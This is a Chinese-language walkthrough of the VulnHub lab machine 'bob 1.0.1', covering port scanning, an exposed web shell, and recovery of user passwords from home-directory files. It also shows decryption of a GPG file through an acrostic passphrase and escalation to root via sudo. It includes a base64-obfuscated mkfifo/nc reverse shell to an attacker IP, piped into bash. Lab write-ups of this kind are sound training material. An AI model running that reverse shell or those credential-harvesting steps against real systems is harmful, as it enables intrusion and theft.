当前位置: 首页 > article >正文

vulnhub(12):bob 1.0.1(gpg文件解密)

端口

nmap主机发现
nmap -sn 192.168.72.0/24
​
Nmap scan report for 192.168.72.169
Host is up (0.00020s latency).
​
169是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn -sV 192.168.72.169 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE                          
80/tcp    open  http                                                             
25468/tcp open  ssh                                                     
 
发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.89.116详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 4 disallowed entries 
| /login.php /dev_shell.php /lat_memo.html 
|_/passwords.html
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA)
|   256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA)
|_  256 391656fb4e0f508540d3532241433815 (ED25519)
​
分析:
25468 ssh端口开放
80 web端口开放
访问80,是个学校官网,查看整个页面没有敏感信息,查看robots.txt
​
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html
​
依次访问,发现shell位于/dev_shell.php页面

立足

echo "mkfifo /tmp/f;nc 192.168.72.162 1234 0</tmp/f|/bin/sh > /tmp/f 2>&1;rm /tmp/f"|base64|tr -d '\n'
bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK
​
攻击机器:nc -nvlp 1234
​
command输入如下指令即可getshell:
echo "bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK" | base64 -d | bash
提权
错误配置提不了权,直接找敏感文件
bob目录
.old_passwordfile.html包含jc和seb的密码
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
​
login.txt.gpg文件有被加密的字符串
​
note.sh 里有
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"
elliot目录
theadminisdumb.txt里存着此用户密码,为theadminisdumb
登录seb和jc和elliot
这三个用户权限基本上和www-data差不多,没用
bob用户的gpg文件解密
GNU Privacy Guard 是一款使用 RFC4880 定义的 OpenPGP 加密标准的加密程序。它允许您使用私钥加密和数字签名文件和电子邮件通信,并使用随附的公钥解密这些文件和通信。
通常,使用 GnuPG 加密的文件会以.gpg扩展名保存。这表示它们已加密,可以使用 GnuPG 解密。但是,要解密 GPG 文件,您必须拥有必要的 GnuPG 密钥(通常是其他用户的公钥)。
​
当尝试解密login.txt.gpg时
gpg -d login.txt.gpg
出现下图

这里根据bob目录下的note.sh文件,推测passphrase是个藏头诗:HARPOCRATES
​
直接解密成功:bob:b0bcat_
登录后发现bob用户有所有sudo权限
直接sudo su切换root

http://www.kler.cn/news/314999.html

相关文章:

  • @PostConstruct
  • <刷题笔记> 力扣236题——二叉树的公共祖先
  • 全面详尽的 PHP 环境搭建教程
  • C++ 元编程
  • 18938 汉诺塔问题
  • 《深度学习》PyTorch 常用损失函数原理、用法解析
  • 【电力系统】基于遗传算法的33节点电力系统无功优化及MATLAB实现
  • LeetCode337. 打家劫舍III
  • springbootKPL比赛网上售票系统
  • Maven 项目无法下载某个依赖
  • 论 JAVA 集合框架中 接口与类的关系
  • 注册信息安全专业人员(CISP)和网络安全的联系与区别
  • FLStudio21Mac版flstudio v21.2.1.3430简体中文版下载(含Win/Mac)
  • windows cuda12.1 pytorch gpu环境配置
  • js之遍历方法
  • windows@文件系统链接@快捷方式@快捷键方式和符号链接及其对比
  • 本地提权【笔记总结】
  • 《AI:开启未来的无限可能》
  • 【django】局域网访问django启动的项目
  • MongoDB解说
  • 机器人速度雅可比矩阵(机器人动力学)
  • 自动化立体仓库与堆垛机单元的技术参数
  • 设计模式之结构型模式例题
  • 简单题35-搜索插入位置(Java and Python)20240919
  • 如何使用 C# 解决 Cloudflare Turnstile CAPTCHA 挑战
  • Flyway 基本概念
  • 零停机部署的“秘密武器”:为什么 Kamal Proxy 能成为你架构中的不二之选?
  • 面试金典题2.2
  • HarmonyOS 速记
  • java 面试题总结(基础篇)